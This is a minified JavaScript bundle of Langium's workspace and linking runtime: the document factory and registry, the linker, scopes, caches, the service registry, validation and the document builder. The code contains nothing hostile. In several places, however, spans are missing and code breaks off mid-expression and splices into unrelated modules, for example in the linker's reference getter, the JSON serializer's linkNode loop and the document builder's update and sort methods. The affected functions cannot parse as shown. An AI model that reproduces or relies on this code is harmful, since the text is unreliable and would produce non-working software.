br.CancellationToken.is(n)?this.createAsync(r,e,n):this.create(r,e,n)}fromModel(e,r){return this.create(r,{$model:e})}create(e,r,n){if(typeof r=="string"){let i=this.parse(e,r,n);return this.createLangiumDocument(i,e,void 0,r)}else if("$model"in r){let i={value:r.$model,parserErrors:[],lexerErrors:[]};return this.createLangiumDocument(i,e)}else{let i=this.parse(e,r.getText(),n);return this.createLangiumDocument(i,e,r)}}async createAsync(e,r,n){if(typeof r=="string"){let i=await this.parseAsync(e,r,n);return this.createLangiumDocument(i,e,void 0,r)}else{let i=await this.parseAsync(e,r.getText(),n);return this.createLangiumDocument(i,e,r)}}createLangiumDocument(e,r,n,i){let a;if(n)a={parseResult:e,uri:r,state:Ln.Parsed,references:[],textDocument:n};else{let s=this.createTextDocumentGetter(r,i);a={parseResult:e,uri:r,state:Ln.Parsed,references:[],get textDocument(){return s()}}}return e.value.$document=a,a}async update(e,r){var n,i;let a=(n=e.parseResult.value.$cstNode)===null||n===void 0?void 0:n.root.fullText,s=(i=this.textDocuments)===null||i===void 0?void 0:i.get(e.uri.toString()),l=s?s.getText():await this.fileSystemProvider.readFile(e.uri);if(s)Object.defineProperty(e,"textDocument",{value:s});else{let u=this.createTextDocumentGetter(e.uri,l);Object.defineProperty(e,"textDocument",{get:u})}return a!==l&&(e.parseResult=await this.parseAsync(e.uri,l,r),e.parseResult.value.$document=e),e.state=Ln.Parsed,e}parse(e,r,n){return this.serviceRegistry.getServices(e).parser.LangiumParser.parse(r,n)}parseAsync(e,r,n){return this.serviceRegistry.getServices(e).parser.AsyncParser.parse(r,n)}createTextDocumentGetter(e,r){let n=this.serviceRegistry,i;return()=>i??(i=G1.create(e.toString(),n.getServices(e).LanguageMetaData.languageId,0,r??""))}},Lb=class{static{o(this,"DefaultLangiumDocuments")}constructor(e){this.documentMap=new Map,this.langiumDocumentFactory=e.workspace.LangiumDocumentFactory,this.serviceRegistry=e.ServiceRegistry}get all(){return an(this.documentMap.values())}addDocument(e){let r=e.uri.toString();if(this.documentMap.has(r))throw new Error(`A document with the URI '${r}' is already present.`);this.documentMap.set(r,e)}getDocument(e){let r=e.toString();return this.documentMap.get(r)}async getOrCreateDocument(e,r){let n=this.getDocument(e);return n||(n=await this.langiumDocumentFactory.fromUri(e,r),this.addDocument(n),n)}createDocument(e,r,n){if(n)return this.langiumDocumentFactory.fromString(r,e,n).then(i=>(this.addDocument(i),i));{let i=this.langiumDocumentFactory.fromString(r,e);return this.addDocument(i),i}}hasDocument(e){return this.documentMap.has(e.toString())}invalidateDocument(e){let r=e.toString(),n=this.documentMap.get(r);return n&&(this.serviceRegistry.getServices(e).references.Linker.unlink(n),n.state=Ln.Changed,n.precomputedScopes=void 0,n.diagnostics=void 0),n}deleteDocument(e){let r=e.toString(),n=this.documentMap.get(r);return n&&(n.state=Ln.Changed,this.documentMap.delete(r)),n}}});var iB,Rb,aB=N(()=>{"use strict";el();Pl();hs();tl();U1();iB=Symbol("ref_resolving"),Rb=class{static{o(this,"DefaultLinker")}constructor(e){this.reflection=e.shared.AstReflection,this.langiumDocuments=()=>e.shared.workspace.LangiumDocuments,this.scopeProvider=e.references.ScopeProvider,this.astNodeLocator=e.workspace.AstNodeLocator}async link(e,r=br.CancellationToken.None){for(let n of Jo(e.parseResult.value))await bi(r),a1(n).forEach(i=>this.doLink(i,e))}doLink(e,r){var n;let i=e.reference;if(i._ref===void 0){i._ref=iB;try{let a=this.getCandidate(e);if(_p(a))i._ref=a;else if(i._nodeDescription=a,this.langiumDocuments().hasDocument(a.documentUri)){let s=this.loadAstNode(a);i._ref=s??this.createLinkingError(e,a)}else i._ref=void 0}catch(a){console.error(`An error occurred while resolving reference to '${i.$refText}':`,a);let s=(n=a.message)!==null&&n!==void 0?n:String(a);i._ref=Object.assign(Object.assign({},e),{message:`An error occurred while resolving reference to '${i.$refText}': ${s}`})}r.references.push(i)}}unlink(e){for(let r of e.references)delete r._ref,delete r._nodeDescription;e.references=[]}getCandidate(e){let n=this.scopeProvider.getScope(e).getElement(e.reference.$refText);return n??this.createLinkingError(e)}buildReference(e,r,n,i){let a=this,s={$refNode:n,$refText:i,get ref(){var l;if(li(this._ref))return this._ref;if(qI(this._nodeDescription)){let u=a.loadAstNode(this._nodeDescription);this._ref=u??a.createLinkingError({reference:s,container:e,property:r},this._nodeDescription)}else if(this._ref===void 0){this._ref=iB;let u=Gx(e).$document,h=a.getLinkedNode({reference:s,container:e,property:r});if(h.error&&u&&u.state{"use strict";zl();o(dme,"isNamed");Nb=class{static{o(this,"DefaultNameProvider")}getName(e){if(dme(e))return e.name}getNameNode(e){return Xx(e.$cstNode,"name")}}});var Mb,oB=N(()=>{"use strict";zl();Pl();hs();Bl();Ys();Qc();Mb=class{static{o(this,"DefaultReferences")}constructor(e){this.nameProvider=e.references.NameProvider,this.index=e.shared.workspace.IndexManager,this.nodeLocator=e.workspace.AstNodeLocator}findDeclaration(e){if(e){let r=MO(e),n=e.astNode;if(r&&n){let i=n[r.feature];if(Ta(i))return i.ref;if(Array.isArray(i)){for(let a of i)if(Ta(a)&&a.$refNode&&a.$refNode.offset<=e.offset&&a.$refNode.end>=e.end)return a.ref}}if(n){let i=this.nameProvider.getNameNode(n);if(i&&(i===e||YI(e,i)))return n}}}findDeclarationNode(e){let r=this.findDeclaration(e);if(r?.$cstNode){let n=this.nameProvider.getNameNode(r);return n??r.$cstNode}}findReferences(e,r){let n=[];if(r.includeDeclaration){let a=this.getReferenceToSelf(e);a&&n.push(a)}let i=this.index.findAllReferences(e,this.nodeLocator.getAstNodePath(e));return r.documentUri&&(i=i.filter(a=>vs.equals(a.sourceUri,r.documentUri))),n.push(...i),an(n)}getReferenceToSelf(e){let r=this.nameProvider.getNameNode(e);if(r){let n=Va(e),i=this.nodeLocator.getAstNodePath(e);return{sourceUri:n.uri,sourcePath:i,targetUri:n.uri,targetPath:i,segment:Lp(r),local:!0}}}}});var Vl,Qp,H1=N(()=>{"use strict";Ys();Vl=class{static{o(this,"MultiMap")}constructor(e){if(this.map=new Map,e)for(let[r,n]of e)this.add(r,n)}get size(){return vg.sum(an(this.map.values()).map(e=>e.length))}clear(){this.map.clear()}delete(e,r){if(r===void 0)return this.map.delete(e);{let n=this.map.get(e);if(n){let i=n.indexOf(r);if(i>=0)return n.length===1?this.map.delete(e):n.splice(i,1),!0}return!1}}get(e){var r;return(r=this.map.get(e))!==null&&r!==void 0?r:[]}has(e,r){if(r===void 0)return this.map.has(e);{let n=this.map.get(e);return n?n.indexOf(r)>=0:!1}}add(e,r){return this.map.has(e)?this.map.get(e).push(r):this.map.set(e,[r]),this}addAll(e,r){return this.map.has(e)?this.map.get(e).push(...r):this.map.set(e,Array.from(r)),this}forEach(e){this.map.forEach((r,n)=>r.forEach(i=>e(i,n,this)))}[Symbol.iterator](){return this.entries().iterator()}entries(){return an(this.map.entries()).flatMap(([e,r])=>r.map(n=>[e,n]))}keys(){return an(this.map.keys())}values(){return an(this.map.values()).flat()}entriesGroupedByKey(){return an(this.map.entries())}},Qp=class{static{o(this,"BiMap")}get size(){return this.map.size}constructor(e){if(this.map=new Map,this.inverse=new Map,e)for(let[r,n]of e)this.set(r,n)}clear(){this.map.clear(),this.inverse.clear()}set(e,r){return this.map.set(e,r),this.inverse.set(r,e),this}get(e){return this.map.get(e)}getKey(e){return this.inverse.get(e)}delete(e){let r=this.map.get(e);return r!==void 0?(this.map.delete(e),this.inverse.delete(r),!0):!1}}});var Ib,lB=N(()=>{"use strict";el();hs();H1();tl();Ib=class{static{o(this,"DefaultScopeComputation")}constructor(e){this.nameProvider=e.references.NameProvider,this.descriptions=e.workspace.AstNodeDescriptionProvider}async computeExports(e,r=br.CancellationToken.None){return this.computeExportsForNode(e.parseResult.value,e,void 0,r)}async computeExportsForNode(e,r,n=Vx,i=br.CancellationToken.None){let a=[];this.exportNode(e,a,r);for(let s of n(e))await bi(i),this.exportNode(s,a,r);return a}exportNode(e,r,n){let i=this.nameProvider.getName(e);i&&r.push(this.descriptions.createDescription(e,i,n))}async computeLocalScopes(e,r=br.CancellationToken.None){let n=e.parseResult.value,i=new Vl;for(let a of qc(n))await bi(r),this.processNode(a,e,i);return i}processNode(e,r,n){let i=e.$container;if(i){let a=this.nameProvider.getName(e);a&&n.add(i,this.descriptions.createDescription(e,a,r))}}}});var q1,Ob,rje,cB=N(()=>{"use strict";Ys();q1=class{static{o(this,"StreamScope")}constructor(e,r,n){var i;this.elements=e,this.outerScope=r,this.caseInsensitive=(i=n?.caseInsensitive)!==null&&i!==void 0?i:!1}getAllElements(){return this.outerScope?this.elements.concat(this.outerScope.getAllElements()):this.elements}getElement(e){let r=this.caseInsensitive?this.elements.find(n=>n.name.toLowerCase()===e.toLowerCase()):this.elements.find(n=>n.name===e);if(r)return r;if(this.outerScope)return this.outerScope.getElement(e)}},Ob=class{static{o(this,"MapScope")}constructor(e,r,n){var i;this.elements=new Map,this.caseInsensitive=(i=n?.caseInsensitive)!==null&&i!==void 0?i:!1;for(let a of e){let s=this.caseInsensitive?a.name.toLowerCase():a.name;this.elements.set(s,a)}this.outerScope=r}getElement(e){let r=this.caseInsensitive?e.toLowerCase():e,n=this.elements.get(r);if(n)return n;if(this.outerScope)return this.outerScope.getElement(e)}getAllElements(){let e=an(this.elements.values());return this.outerScope&&(e=e.concat(this.outerScope.getAllElements())),e}},rje={getElement(){},getAllElements(){return Rx}}});var W1,Pb,Zp,KS,Y1,QS=N(()=>{"use strict";W1=class{static{o(this,"DisposableCache")}constructor(){this.toDispose=[],this.isDisposed=!1}onDispose(e){this.toDispose.push(e)}dispose(){this.throwIfDisposed(),this.clear(),this.isDisposed=!0,this.toDispose.forEach(e=>e.dispose())}throwIfDisposed(){if(this.isDisposed)throw new Error("This cache has already been disposed")}},Pb=class extends W1{static{o(this,"SimpleCache")}constructor(){super(...arguments),this.cache=new Map}has(e){return this.throwIfDisposed(),this.cache.has(e)}set(e,r){this.throwIfDisposed(),this.cache.set(e,r)}get(e,r){if(this.throwIfDisposed(),this.cache.has(e))return this.cache.get(e);if(r){let n=r();return this.cache.set(e,n),n}else return}delete(e){return this.throwIfDisposed(),this.cache.delete(e)}clear(){this.throwIfDisposed(),this.cache.clear()}},Zp=class extends W1{static{o(this,"ContextCache")}constructor(e){super(),this.cache=new Map,this.converter=e??(r=>r)}has(e,r){return this.throwIfDisposed(),this.cacheForContext(e).has(r)}set(e,r,n){this.throwIfDisposed(),this.cacheForContext(e).set(r,n)}get(e,r,n){this.throwIfDisposed();let i=this.cacheForContext(e);if(i.has(r))return i.get(r);if(n){let a=n();return i.set(r,a),a}else return}delete(e,r){return this.throwIfDisposed(),this.cacheForContext(e).delete(r)}clear(e){if(this.throwIfDisposed(),e){let r=this.converter(e);this.cache.delete(r)}else this.cache.clear()}cacheForContext(e){let r=this.converter(e),n=this.cache.get(r);return n||(n=new Map,this.cache.set(r,n)),n}},KS=class extends Zp{static{o(this,"DocumentCache")}constructor(e,r){super(n=>n.toString()),r?(this.toDispose.push(e.workspace.DocumentBuilder.onDocumentPhase(r,n=>{this.clear(n.uri.toString())})),this.toDispose.push(e.workspace.DocumentBuilder.onUpdate((n,i)=>{for(let a of i)this.clear(a)}))):this.toDispose.push(e.workspace.DocumentBuilder.onUpdate((n,i)=>{let a=n.concat(i);for(let s of a)this.clear(s)}))}},Y1=class extends Pb{static{o(this,"WorkspaceCache")}constructor(e,r){super(),r?(this.toDispose.push(e.workspace.DocumentBuilder.onBuildPhase(r,()=>{this.clear()})),this.toDispose.push(e.workspace.DocumentBuilder.onUpdate((n,i)=>{i.length>0&&this.clear()}))):this.toDispose.push(e.workspace.DocumentBuilder.onUpdate(()=>{this.clear()}))}}});var Bb,uB=N(()=>{"use strict";cB();hs();Ys();QS();Bb=class{static{o(this,"DefaultScopeProvider")}constructor(e){this.reflection=e.shared.AstReflection,this.nameProvider=e.references.NameProvider,this.descriptions=e.workspace.AstNodeDescriptionProvider,this.indexManager=e.shared.workspace.IndexManager,this.globalScopeCache=new Y1(e.shared)}getScope(e){let r=[],n=this.reflection.getReferenceType(e),i=Va(e.container).precomputedScopes;if(i){let s=e.container;do{let l=i.get(s);l.length>0&&r.push(an(l).filter(u=>this.reflection.isSubtype(u.type,n))),s=s.$container}while(s)}let a=this.getGlobalScope(n,e);for(let s=r.length-1;s>=0;s--)a=this.createScope(r[s],a);return a}createScope(e,r,n){return new q1(an(e),r,n)}createScopeForNodes(e,r,n){let i=an(e).map(a=>{let s=this.nameProvider.getName(a);if(s)return this.descriptions.createDescription(a,s)}).nonNullable();return new q1(i,r,n)}getGlobalScope(e,r){return this.globalScopeCache.get(e,()=>new Ob(this.indexManager.allElements(e)))}}});function hB(t){return typeof t.$comment=="string"}function pme(t){return typeof t=="object"&&!!t&&("$ref"in t||"$error"in t)}var Fb,ZS=N(()=>{"use strict";nB();Pl();hs();zl();o(hB,"isAstNodeWithComment");o(pme,"isIntermediateReference");Fb=class{static{o(this,"DefaultJsonSerializer")}constructor(e){this.ignoreProperties=new Set(["$container","$containerProperty","$containerIndex","$document","$cstNode"]),this.langiumDocuments=e.shared.workspace.LangiumDocuments,this.astNodeLocator=e.workspace.AstNodeLocator,this.nameProvider=e.references.NameProvider,this.commentProvider=e.documentation.CommentProvider}serialize(e,r){let n=r??{},i=r?.replacer,a=o((l,u)=>this.replacer(l,u,n),"defaultReplacer"),s=i?(l,u)=>i(l,u,a):a;try{return this.currentDocument=Va(e),JSON.stringify(e,s,r?.space)}finally{this.currentDocument=void 0}}deserialize(e,r){let n=r??{},i=JSON.parse(e);return this.linkNode(i,i,n),i}replacer(e,r,{refText:n,sourceText:i,textRegions:a,comments:s,uriConverter:l}){var u,h,f,d;if(!this.ignoreProperties.has(e))if(Ta(r)){let p=r.ref,m=n?r.$refText:void 0;if(p){let g=Va(p),y="";this.currentDocument&&this.currentDocument!==g&&(l?y=l(g.uri,r):y=g.uri.toString());let v=this.astNodeLocator.getAstNodePath(p);return{$ref:`${y}#${v}`,$refText:m}}else return{$error:(h=(u=r.error)===null||u===void 0?void 0:u.message)!==null&&h!==void 0?h:"Could not resolve reference",$refText:m}}else if(li(r)){let p;if(a&&(p=this.addAstNodeRegionWithAssignmentsTo(Object.assign({},r)),(!e||r.$document)&&p?.$textRegion&&(p.$textRegion.documentURI=(f=this.currentDocument)===null||f===void 0?void 0:f.uri.toString())),i&&!e&&(p??(p=Object.assign({},r)),p.$sourceText=(d=r.$cstNode)===null||d===void 0?void 0:d.text),s){p??(p=Object.assign({},r));let m=this.commentProvider.getComment(r);m&&(p.$comment=m.replace(/\r/g,""))}return p??r}else return r}addAstNodeRegionWithAssignmentsTo(e){let r=o(n=>({offset:n.offset,end:n.end,length:n.length,range:n.range}),"createDocumentSegment");if(e.$cstNode){let n=e.$textRegion=r(e.$cstNode),i=n.assignments={};return Object.keys(e).filter(a=>!a.startsWith("$")).forEach(a=>{let s=DO(e.$cstNode,a).map(r);s.length!==0&&(i[a]=s)}),e}}linkNode(e,r,n,i,a,s){for(let[u,h]of Object.entries(e))if(Array.isArray(h))for(let f=0;f{"use strict";Qc();$b=class{static{o(this,"DefaultServiceRegistry")}get map(){return this.fileExtensionMap}constructor(e){this.languageIdMap=new Map,this.fileExtensionMap=new Map,this.textDocuments=e?.workspace.TextDocuments}register(e){let r=e.LanguageMetaData;for(let n of r.fileExtensions)this.fileExtensionMap.has(n)&&console.warn(`The file extension ${n} is used by multiple languages. It is now assigned to '${r.languageId}'.`),this.fileExtensionMap.set(n,e);this.languageIdMap.set(r.languageId,e),this.languageIdMap.size===1?this.singleton=e:this.singleton=void 0}getServices(e){var r,n;if(this.singleton!==void 0)return this.singleton;if(this.languageIdMap.size===0)throw new Error("The service registry is empty. Use `register` to register the services of a language.");let i=(n=(r=this.textDocuments)===null||r===void 0?void 0:r.get(e))===null||n===void 0?void 0:n.languageId;if(i!==void 0){let l=this.languageIdMap.get(i);if(l)return l}let a=vs.extname(e),s=this.fileExtensionMap.get(a);if(!s)throw i?new Error(`The service registry contains no services for the extension '${a}' for language '${i}'.`):new Error(`The service registry contains no services for the extension '${a}'.`);return s}hasServices(e){try{return this.getServices(e),!0}catch{return!1}}get all(){return Array.from(this.languageIdMap.values())}}});function Jp(t){return{code:t}}var X1,zb,Gb=N(()=>{"use strict";vo();H1();tl();Ys();o(Jp,"diagnosticData");(function(t){t.all=["fast","slow","built-in"]})(X1||(X1={}));zb=class{static{o(this,"ValidationRegistry")}constructor(e){this.entries=new Vl,this.entriesBefore=[],this.entriesAfter=[],this.reflection=e.shared.AstReflection}register(e,r=this,n="fast"){if(n==="built-in")throw new Error("The 'built-in' category is reserved for lexer, parser, and linker errors.");for(let[i,a]of Object.entries(e)){let s=a;if(Array.isArray(s))for(let l of s){let u={check:this.wrapValidationException(l,r),category:n};this.addEntry(i,u)}else if(typeof s=="function"){let l={check:this.wrapValidationException(s,r),category:n};this.addEntry(i,l)}else Uc(s)}}wrapValidationException(e,r){return async(n,i,a)=>{await this.handleException(()=>e.call(r,n,i,a),"An error occurred during validation",i,n)}}async handleException(e,r,n,i){try{await e()}catch(a){if(Kc(a))throw a;console.error(`${r}:`,a),a instanceof Error&&a.stack&&console.error(a.stack);let s=a instanceof Error?a.message:String(a);n("error",`${r}: ${s}`,{node:i})}}addEntry(e,r){if(e==="AstNode"){this.entries.add("AstNode",r);return}for(let n of this.reflection.getAllSubTypes(e))this.entries.add(n,r)}getChecks(e,r){let n=an(this.entries.get(e)).concat(this.entries.get("AstNode"));return r&&(n=n.filter(i=>r.includes(i.category))),n.map(i=>i.check)}registerBeforeDocument(e,r=this){this.entriesBefore.push(this.wrapPreparationException(e,"An error occurred during set-up of the validation",r))}registerAfterDocument(e,r=this){this.entriesAfter.push(this.wrapPreparationException(e,"An error occurred during tear-down of the validation",r))}wrapPreparationException(e,r,n){return async(i,a,s,l)=>{await this.handleException(()=>e.call(n,i,a,s,l),r,a,i)}}get checksBefore(){return this.entriesBefore}get checksAfter(){return this.entriesAfter}}});function mme(t){if(t.range)return t.range;let e;return typeof t.property=="string"?e=Xx(t.node.$cstNode,t.property,t.index):typeof t.keyword=="string"&&(e=RO(t.node.$cstNode,t.keyword,t.index)),e??(e=t.node.$cstNode),e?e.range:{start:{line:0,character:0},end:{line:0,character:0}}}function JS(t){switch(t){case"error":return 1;case"warning":return 2;case"info":return 3;case"hint":return 4;default:throw new Error("Invalid diagnostic severity: "+t)}}function gme(t){switch(t){case"error":return Jp(rl.LexingError);case"warning":return Jp(rl.LexingWarning);case"info":return Jp(rl.LexingInfo);case"hint":return Jp(rl.LexingHint);default:throw new Error("Invalid diagnostic severity: "+t)}}var Vb,rl,dB=N(()=>{"use strict";el();zl();hs();Bl();tl();Gb();Vb=class{static{o(this,"DefaultDocumentValidator")}constructor(e){this.validationRegistry=e.validation.ValidationRegistry,this.metadata=e.LanguageMetaData}async validateDocument(e,r={},n=br.CancellationToken.None){let i=e.parseResult,a=[];if(await bi(n),(!r.categories||r.categories.includes("built-in"))&&(this.processLexingErrors(i,a,r),r.stopAfterLexingErrors&&a.some(s=>{var l;return((l=s.data)===null||l===void 0?void 0:l.code)===rl.LexingError})||(this.processParsingErrors(i,a,r),r.stopAfterParsingErrors&&a.some(s=>{var l;return((l=s.data)===null||l===void 0?void 0:l.code)===rl.ParsingError}))||(this.processLinkingErrors(e,a,r),r.stopAfterLinkingErrors&&a.some(s=>{var l;return((l=s.data)===null||l===void 0?void 0:l.code)===rl.LinkingError}))))return a;try{a.push(...await this.validateAst(i.value,r,n))}catch(s){if(Kc(s))throw s;console.error("An error occurred during validation:",s)}return await bi(n),a}processLexingErrors(e,r,n){var i,a,s;let l=[...e.lexerErrors,...(a=(i=e.lexerReport)===null||i===void 0?void 0:i.diagnostics)!==null&&a!==void 0?a:[]];for(let u of l){let h=(s=u.severity)!==null&&s!==void 0?s:"error",f={severity:JS(h),range:{start:{line:u.line-1,character:u.column-1},end:{line:u.line-1,character:u.column+u.length-1}},message:u.message,data:gme(h),source:this.getSource()};r.push(f)}}processParsingErrors(e,r,n){for(let i of e.parserErrors){let a;if(isNaN(i.token.startOffset)){if("previousToken"in i){let s=i.previousToken;if(isNaN(s.startOffset)){let l={line:0,character:0};a={start:l,end:l}}else{let l={line:s.endLine-1,character:s.endColumn};a={start:l,end:l}}}}else a=xg(i.token);if(a){let s={severity:JS("error"),range:a,message:i.message,data:Jp(rl.ParsingError),source:this.getSource()};r.push(s)}}}processLinkingErrors(e,r,n){for(let i of e.references){let a=i.error;if(a){let s={node:a.container,property:a.property,index:a.index,data:{code:rl.LinkingError,containerType:a.container.$type,property:a.property,refText:a.reference.$refText}};r.push(this.toDiagnostic("error",a.message,s))}}}async validateAst(e,r,n=br.CancellationToken.None){let i=[],a=o((s,l,u)=>{i.push(this.toDiagnostic(s,l,u))},"acceptor");return await this.validateAstBefore(e,r,a,n),await this.validateAstNodes(e,r,a,n),await this.validateAstAfter(e,r,a,n),i}async validateAstBefore(e,r,n,i=br.CancellationToken.None){var a;let s=this.validationRegistry.checksBefore;for(let l of s)await bi(i),await l(e,n,(a=r.categories)!==null&&a!==void 0?a:[],i)}async validateAstNodes(e,r,n,i=br.CancellationToken.None){await Promise.all(Jo(e).map(async a=>{await bi(i);let s=this.validationRegistry.getChecks(a.$type,r.categories);for(let l of s)await l(a,n,i)}))}async validateAstAfter(e,r,n,i=br.CancellationToken.None){var a;let s=this.validationRegistry.checksAfter;for(let l of s)await bi(i),await l(e,n,(a=r.categories)!==null&&a!==void 0?a:[],i)}toDiagnostic(e,r,n){return{message:r,range:mme(n),severity:JS(e),code:n.code,codeDescription:n.codeDescription,tags:n.tags,relatedInformation:n.relatedInformation,data:n.data,source:this.getSource()}}getSource(){return this.metadata.languageId}};o(mme,"getDiagnosticRange");o(JS,"toDiagnosticSeverity");o(gme,"toDiagnosticData");(function(t){t.LexingError="lexing-error",t.LexingWarning="lexing-warning",t.LexingInfo="lexing-info",t.LexingHint="lexing-hint",t.ParsingError="parsing-error",t.LinkingError="linking-error"})(rl||(rl={}))});var Ub,Hb,pB=N(()=>{"use strict";el();Pl();hs();Bl();tl();Qc();Ub=class{static{o(this,"DefaultAstNodeDescriptionProvider")}constructor(e){this.astNodeLocator=e.workspace.AstNodeLocator,this.nameProvider=e.references.NameProvider}createDescription(e,r,n){let i=n??Va(e);r??(r=this.nameProvider.getName(e));let a=this.astNodeLocator.getAstNodePath(e);if(!r)throw new Error(`Node at path ${a} has no name.`);let s,l=o(()=>{var u;return s??(s=Lp((u=this.nameProvider.getNameNode(e))!==null&&u!==void 0?u:e.$cstNode))},"nameSegmentGetter");return{node:e,name:r,get nameSegment(){return l()},selectionSegment:Lp(e.$cstNode),type:e.$type,documentUri:i.uri,path:a}}},Hb=class{static{o(this,"DefaultReferenceDescriptionProvider")}constructor(e){this.nodeLocator=e.workspace.AstNodeLocator}async createDescriptions(e,r=br.CancellationToken.None){let n=[],i=e.parseResult.value;for(let a of Jo(i))await bi(r),a1(a).filter(s=>!_p(s)).forEach(s=>{let l=this.createDescription(s);l&&n.push(l)});return n}createDescription(e){let r=e.reference.$nodeDescription,n=e.reference.$refNode;if(!r||!n)return;let i=Va(e.container).uri;return{sourceUri:i,sourcePath:this.nodeLocator.getAstNodePath(e.container),targetUri:r.documentUri,targetPath:r.path,segment:Lp(n),local:vs.equals(r.documentUri,i)}}}});var qb,mB=N(()=>{"use strict";qb=class{static{o(this,"DefaultAstNodeLocator")}constructor(){this.segmentSeparator="/",this.indexSeparator="@"}getAstNodePath(e){if(e.$container){let r=this.getAstNodePath(e.$container),n=this.getPathSegment(e);return r+this.segmentSeparator+n}return""}getPathSegment({$containerProperty:e,$containerIndex:r}){if(!e)throw new Error("Missing '$containerProperty' in AST node.");return r!==void 0?e+this.indexSeparator+r:e}getAstNode(e,r){return r.split(this.segmentSeparator).reduce((i,a)=>{if(!i||a.length===0)return i;let s=a.indexOf(this.indexSeparator);if(s>0){let l=a.substring(0,s),u=parseInt(a.substring(s+1)),h=i[l];return h?.[u]}return i[a]},e)}}});var ei={};var e6=N(()=>{"use strict";Lr(ei,ja(ZP(),1))});var Wb,gB=N(()=>{"use strict";e6();tl();Wb=class{static{o(this,"DefaultConfigurationProvider")}constructor(e){this._ready=new gs,this.settings={},this.workspaceConfig=!1,this.onConfigurationSectionUpdateEmitter=new ei.Emitter,this.serviceRegistry=e.ServiceRegistry}get ready(){return this._ready.promise}initialize(e){var r,n;this.workspaceConfig=(n=(r=e.capabilities.workspace)===null||r===void 0?void 0:r.configuration)!==null&&n!==void 0?n:!1}async initialized(e){if(this.workspaceConfig){if(e.register){let r=this.serviceRegistry.all;e.register({section:r.map(n=>this.toSectionName(n.LanguageMetaData.languageId))})}if(e.fetchConfiguration){let r=this.serviceRegistry.all.map(i=>({section:this.toSectionName(i.LanguageMetaData.languageId)})),n=await e.fetchConfiguration(r);r.forEach((i,a)=>{this.updateSectionConfiguration(i.section,n[a])})}}this._ready.resolve()}updateConfiguration(e){e.settings&&Object.keys(e.settings).forEach(r=>{let n=e.settings[r];this.updateSectionConfiguration(r,n),this.onConfigurationSectionUpdateEmitter.fire({section:r,configuration:n})})}updateSectionConfiguration(e,r){this.settings[e]=r}async getConfiguration(e,r){await this.ready;let n=this.toSectionName(e);if(this.settings[n])return this.settings[n][r]}toSectionName(e){return`${e}`}get onConfigurationSectionUpdate(){return this.onConfigurationSectionUpdateEmitter.event}}});var Gf,yB=N(()=>{"use strict";(function(t){function e(r){return{dispose:o(async()=>await r(),"dispose")}}o(e,"create"),t.create=e})(Gf||(Gf={}))});var Yb,vB=N(()=>{"use strict";el();yB();H1();tl();Ys();Gb();U1();Yb=class{static{o(this,"DefaultDocumentBuilder")}constructor(e){this.updateBuildOptions={validation:{categories:["built-in","fast"]}},this.updateListeners=[],this.buildPhaseListeners=new Vl,this.documentPhaseListeners=new Vl,this.buildState=new Map,this.documentBuildWaiters=new Map,this.currentState=Ln.Changed,this.langiumDocuments=e.workspace.LangiumDocuments,this.langiumDocumentFactory=e.workspace.LangiumDocumentFactory,this.textDocuments=e.workspace.TextDocuments,this.indexManager=e.workspace.IndexManager,this.serviceRegistry=e.ServiceRegistry}async build(e,r={},n=br.CancellationToken.None){var i,a;for(let s of e){let l=s.uri.toString();if(s.state===Ln.Validated){if(typeof r.validation=="boolean"&&r.validation)s.state=Ln.IndexedReferences,s.diagnostics=void 0,this.buildState.delete(l);else if(typeof r.validation=="object"){let u=this.buildState.get(l),h=(i=u?.result)===null||i===void 0?void 0:i.validationChecks;if(h){let d=((a=r.validation.categories)!==null&&a!==void 0?a:X1.all).filter(p=>!h.includes(p));d.length>0&&(this.buildState.set(l,{completed:!1,options:{validation:Object.assign(Object.assign({},r.validation),{categories:d})},result:u.result}),s.state=Ln.IndexedReferences)}}}else this.buildState.delete(l)}this.currentState=Ln.Changed,await this.emitUpdate(e.map(s=>s.uri),[]),await this.buildDocuments(e,r,n)}async update(e,r,n=br.CancellationToken.None){this.currentState=Ln.Changed;for(let s of r)this.langiumDocuments.deleteDocument(s),this.buildState.delete(s.toString()),this.indexManager.remove(s);for(let s of e){if(!this.langiumDocuments.invalidateDocument(s)){let u=this.langiumDocumentFactory.fromModel({$type:"INVALID"},s);u.state=Ln.Changed,this.langiumDocuments.addDocument(u)}this.buildState.delete(s.toString())}let i=an(e).concat(r).map(s=>s.toString()).toSet();this.langiumDocuments.all.filter(s=>!i.has(s.uri.toString())&&this.shouldRelink(s,i)).forEach(s=>{this.serviceRegistry.getServices(s.uri).references.Linker.unlink(s),s.state=Math.min(s.state,Ln.ComputedScopes),s.diagnostics=void 0}),await this.emitUpdate(e,r),await bi(n);let a=this.sortDocuments(this.langiumDocuments.all.filter(s=>{var l;return s.staten(e,r)))}sortDocuments(e){let r=0,n=e.length-1;for(;r=0&&!this.hasTextDocument(e[n]);)n--;rn.error!==void 0)?!0:this.indexManager.isAffected(e,r)}onUpdate(e){return this.updateListeners.push(e),Gf.create(()=>{let r=this.updateListeners.indexOf(e);r>=0&&this.updateListeners.splice(r,1)})}async buildDocuments(e,r,n){this.prepareBuild(e,r),await this.runCancelable(e,Ln.Parsed,n,a=>this.langiumDocumentFactory.update(a,n)),await this.runCancelable(e,Ln.IndexedContent,n,a=>this.indexManager.updateContent(a,n)),await this.runCancelable(e,Ln.ComputedScopes,n,async a=>{let s=this.serviceRegistry.getServices(a.uri).references.ScopeComputation;a.precomputedScopes=await s.computeLocalScopes(a,n)}),await this.runCancelable(e,Ln.Linked,n,a=>this.serviceRegistry.getServices(a.uri).references.Linker.link(a,n)),await this.runCancelable(e,Ln.IndexedReferences,n,a=>this.indexManager.updateReferences(a,n));let i=e.filter(a=>this.shouldValidate(a));await this.runCancelable(i,Ln.Validated,n,a=>this.validate(a,n));for(let a of e){let s=this.buildState.get(a.uri.toString());s&&(s.completed=!0)}}prepareBuild(e,r){for(let n of e){let i=n.uri.toString(),a=this.buildState.get(i);(!a||a.completed)&&this.buildState.set(i,{completed:!1,options:r,result:a?.result})}}async runCancelable(e,r,n,i){let a=e.filter(l=>l.statel.state===r);await this.notifyBuildPhase(s,r,n),this.currentState=r}onBuildPhase(e,r){return this.buildPhaseListeners.add(e,r),Gf.create(()=>{this.buildPhaseListeners.delete(e,r)})}onDocumentPhase(e,r){return this.documentPhaseListeners.add(e,r),Gf.create(()=>{this.documentPhaseListeners.delete(e,r)})}waitUntil(e,r,n){let i;if(r&&"path"in r?i=r:n=r,n??(n=br.CancellationToken.None),i){let a=this.langiumDocuments.getDocument(i);if(a&&a.state>e)return Promise.resolve(i)}return this.currentState>=e?Promise.resolve(void 0):n.isCancellationRequested?Promise.reject(jc):new Promise((a,s)=>{let 